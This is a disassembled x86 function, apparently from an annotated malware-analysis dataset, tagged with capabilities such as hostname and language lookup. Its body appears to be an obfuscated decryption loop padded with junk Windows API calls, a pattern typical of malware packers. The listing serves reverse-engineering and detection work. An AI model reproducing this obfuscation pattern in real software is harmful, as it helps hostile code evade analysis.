Function at 0x401077
Capabilities:
Get hostname
Identify system language via api
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc4c
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [eax]
mov eax, dword [eax + 4]
push esi
xor esi, esi
cmp dword [0x1d62474], 0x134
push edi
mov dword [ebp - 0x18], eax
jne 0x4010d4
push esi
lea eax, [ebp - 0x44c]
push eax
push esi
push str.napede
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
lea eax, [ebp - 0x38]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentConsoleFont]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
lea eax, [ebp - 0x20]
push eax
push esi
lea eax, [ebp - 0x4c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
cmp dword [0x1d62474], 0x114e
mov dword [ebp - 0x10], esi
jne 0x4010f1
push esi
lea eax, [ebp - 0x44c]
push eax
push esi
call sub.KERNEL32.dll_VerLanguageNameA
mov eax, dword [0x417f98]
mov dword [ebp - 0x24], eax
mov eax, dword [0x417f9c]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x10]
call fcn.0040106a
add dword [ebp - 0x10], 0x54
cmp dword [0x1d62474], 0xb54
jne 0x401144
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
lea eax, [ebp - 0x44c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc4c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
mov eax, dword [0x417fa0]
mov dword [ebp - 0x28], eax
mov eax, dword [0x417fa4]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], 0x20
mov dword [ebp - 8], 2
add dword [ebp - 8], 3
mov eax, ebx
lea ecx, [ebp - 4]
call fcn.0040105a
cmp dword [0x1d62474], 0x4c3
jne 0x40118e
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ChangeTimerQueueTimer]
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov eax, dword [0x1d62474]
cmp eax, 0xfa9
jne 0x4011aa
mov dword [0x1cfa7e4], 0xedeb2e40
mov ecx, dword [ebp - 8]
mov edi, ebx
shr edi, cl
mov dword [0x1cfa7e0], 0x9150ce2e
add edi, dword [ebp - 0x14]
cmp eax, 0x3eb
jne 0x4011d4
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
mov dword [0x1cf75dc], esi
mov eax, dword [ebp - 0x10]
add eax, ebx
xor dword [ebp - 4], eax
xor edi, dword [ebp - 4]
cmp dword [0x1d62474], 0xdab
jne 0x401229
push esi
lea eax, [ebp - 0x2c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeUserPhysicalPages]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointA]
lea eax, [ebp - 0x30]
push eax
push esi
lea eax, [ebp - 0x4c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExA]
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov ecx, edi
lea eax, [ebp - 0x18]
call fcn.00401071
mov dword [ebp - 0xc], esi
and eax, 0x5dc052bb
sub dword [ebp - 0xc], 0x5396dd36
add dword [ebp - 0xc], 0x5396dd3a
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
mov eax, edx
shl eax, cl
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x24]
add dword [ebp - 4], eax
mov ecx, dword [ebp - 0x20]
mov eax, edx
shr eax, 5
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
call fcn.00401074
mov eax, dword [ebp - 0x10]
add eax, edx
push eax
mov eax, dword [ebp - 4]
call fcn.00401063
mov ecx, dword [ebp - 8]
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
call fcn.00401060
sub ebx, dword [ebp - 4]
lea eax, [ebp - 0x10]
mov dword [0x434f98], esi
call fcn.00401053
dec dword [ebp - 0x1c]
jne 0x40115b
mov eax, dword [ebp + 8]
pop edi
pop esi
mov dword [eax], ebx
mov dword [eax + 4], edx
pop ebx
leave
ret 4